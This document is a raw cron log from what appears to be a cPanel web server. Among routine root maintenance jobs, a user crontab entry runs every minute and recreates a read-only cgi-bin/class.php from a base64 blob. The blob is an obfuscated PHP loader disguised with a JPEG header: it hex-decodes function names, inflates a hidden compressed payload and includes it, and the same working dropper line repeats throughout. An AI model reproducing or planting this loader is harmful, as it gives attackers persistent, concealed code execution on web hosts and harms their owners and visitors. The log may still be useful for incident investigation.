Sep 11 15:56:01 server CROND[6224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:57:01 server CROND[6596]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:57:01 server CROND[6594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:57:01 server CROND[6595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:57:01 server CROND[6597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:58:01 server CROND[6980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:58:01 server CROND[6981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:58:01 server CROND[6982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:59:01 server CROND[7348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:59:01 server CROND[7349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:59:01 server CROND[7350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:00:01 server CROND[7786]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:00:01 server CROND[7788]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:00:01 server CROND[7794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:00:01 server CROND[7804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:00:01 server CROND[7805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:00:01 server CROND[7806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:00:01 server CROND[7809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:00:01 server CROND[7807]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:00:01 server CROND[7808]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 16:00:01 server CROND[7817]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 16:01:01 server CROND[8675]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 16:01:01 server CROND[8677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:01:01 server CROND[8678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:01:01 server CROND[8680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:01:01 server run-parts(/etc/cron.hourly)[8675]: starting 0anacron
Sep 11 16:01:01 server run-parts(/etc/cron.hourly)[8695]: finished 0anacron
Sep 11 16:02:01 server CROND[9051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:02:01 server CROND[9052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:02:01 server CROND[9053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:03:01 server CROND[9445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:03:01 server CROND[9446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:03:01 server CROND[9447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:04:01 server CROND[10217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:04:01 server CROND[10219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:04:01 server CROND[10218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:05:01 server CROND[10600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:05:01 server CROND[10602]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:05:01 server CROND[10604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:05:01 server CROND[10609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:05:01 server CROND[10608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:05:01 server CROND[10606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:05:02 server CROND[10607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:05:02 server CROND[10605]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:06:01 server CROND[11545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:06:01 server CROND[11546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:06:01 server CROND[11547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:07:01 server CROND[11911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:07:01 server CROND[11912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:07:01 server CROND[11913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:08:01 server CROND[12275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
